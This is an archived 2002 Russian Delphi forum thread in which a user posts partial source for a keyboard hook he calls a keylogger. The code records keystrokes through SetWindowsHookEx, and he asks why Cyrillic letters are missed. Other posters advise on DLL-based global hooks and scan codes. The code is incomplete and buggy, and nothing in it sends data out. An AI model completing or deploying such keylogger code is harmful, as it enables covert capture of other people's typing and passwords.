Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];

Вниз

Hook   Найти похожие ветки 

 
Igor_thief   (2002-09-14 12:17) [0]

Народ, помогите разобраться с hook. Мне, ради интереса, захотелось написать клавиатурный шпион. Прочитал парочку статей по работе с dll файлами и просмотрел несколько примеров работы с hook. Попробовал написать шпиона, но он вышел немного глюкавый. Он не воспринимает русские буквы.
Вот исходники:

var
MainForm: TMainForm;
Hook:HHOOK;
Key:integer;
i:longint;

implementation

{$R *.dfm}

function HookProc(Code:integer;WParam:word;LParam:longint):longint;stdcall;
var Msg:PEventMsg;
begin
if Code>=0 then
begin
Result:=0;
Msg:=Pointer(LParam);
with MainForm do
case Msg.message of
WM_KEYDOWN:
begin
Key:=Msg.paramL and 255;
if (Key in[13..126,183..255])and(not(key=46)) then mmMain.Text:=mmMain.Text+chr(Key);
end;
end;
end
else Result:=CallNextHookEx(Hook,Code,WParam,LParam);
end;


procedure TMainForm.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(WH_JOURNALRECORD,@HookProc,HInstance,0);
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
if Hook>0 then UnhookWindowsHookEx(Hook);
end;

Или такой пример:
TMyProcedure=procedure(fl:boolean);stdcall;

var
Form1: TForm1;
DllHandle:THandle;

implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var Hook:TMyProcedure;
begin
DllHandle:=LoadLibrary(PChar("Hook.dll"));
if DllHandle>HInstance_ERROR then @Hook:=GetProcAddress(DllHandle,"InstallHook")
else ShowMessage("Ошибка при загрузке dll!");
Hook(true);
end;

procedure TForm1.Button2Click(Sender: TObject);
var Hook:TMyProcedure;
begin
Hook:=GetProcAddress(DllHandle,"InstallHook");
Hook(false);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
FreeLibrary(DllHandle);
end;

Исходник dll файла:

library Hook;
……
var HookVar:HHOOK;
Key:integer;

function HookProc(Code:integer;WParam:word;LParam:longint;Wnd:HWND):longint;stdcall;
begin
CallNextHookEx(HookVar,Code,WParam,LParam);
if Code=hc_action then
begin
if TMsg(Pointer(LParam)^).message=WM_KeyUp then
begin
key:=LParam;
…………………………….
end;
end;
end;

procedure InstallHook(Switch:boolean);export;stdcall;
begin
if Switch then
begin
HookVar:=SetWindowsHookEx(WH_GETMESSAGE,@HookProc,HInstance,0);
MessageBox(0,"Hook установлен!","Сообщение из dll!",0);
end
else
begin
UnhookWindowsHookEx(HookVar);
MainForm.Free;
MessageBox(0,"Hook снят!","Сообщение!",0);
HookVar:=0;
end;
end;

exports
InstallHook;

begin
end.


 
Alexeo   (2002-09-15 02:15) [1]

Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Нормальный хук состоит из dll библиотеки (самого хука) и вызывающей её приграммы.
Для чтения букв обратись к WinSDK и посмотри что-то вроде virtualcode или scancode, а лучше зайди на FAQ этого сайта или королевства делфи и скачай полный help.
Пока.


 
Igor_thief   (2002-09-15 12:18) [2]

>>Alexeo
Спасибочки!
>>Мне интересно, каким образом ты умудрился запихать хук в exe"шник?
Очень просто. И кстатии очень клево работает.


 
Song   (2002-09-15 13:21) [3]

>>Очень просто. И кстатии очень клево работает.
Да, только он у Вас не будет глобальным в этом случае.


 
Igor_thief   (2002-09-15 13:49) [4]

Ну а как насчет того что я писал про то, что шпион не воспринимает русских букв и пишет все большими буквами. Как это исправить?


 
Pavel_S   (2002-09-15 14:36) [5]

Здесь же на сайте лежит статья и премеры по работе с хуками. Посмотри


 
Igor_thief   (2002-09-17 14:37) [6]

Смотрел. Я по статье и ориентировался. Все те проблемы которые я перечислил есть и в этой статье.


 
Dima_______??   (2002-09-18 11:57) [7]

Я делал хук который вопринимал Все буквы, Altы, Breakи и даже комбинации Fn+Sleep, Fn+Wake Up и т.д., и все работало глобально и безо всяких DLL! Я помогу всем чем смогу, только напиши ViDiV@mail.ru



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2002.10.31;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.46 MB
Время: 0.121 c
1-101276
volph777
2002-10-22 15:11
2002.10.31
печать Word-документа


1-101254
Pat
2002-10-22 00:48
2002.10.31
Динамическое создание форм


14-101482
DiamondShark
2002-10-01 17:05
2002.10.31
---|Ветка была без названия|---


1-101353
()utLaw
2002-10-20 00:00
2002.10.31
Запуск и завершение программы принудительно.


8-101391
Юра
2002-07-04 00:02
2002.10.31
SoundCard





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский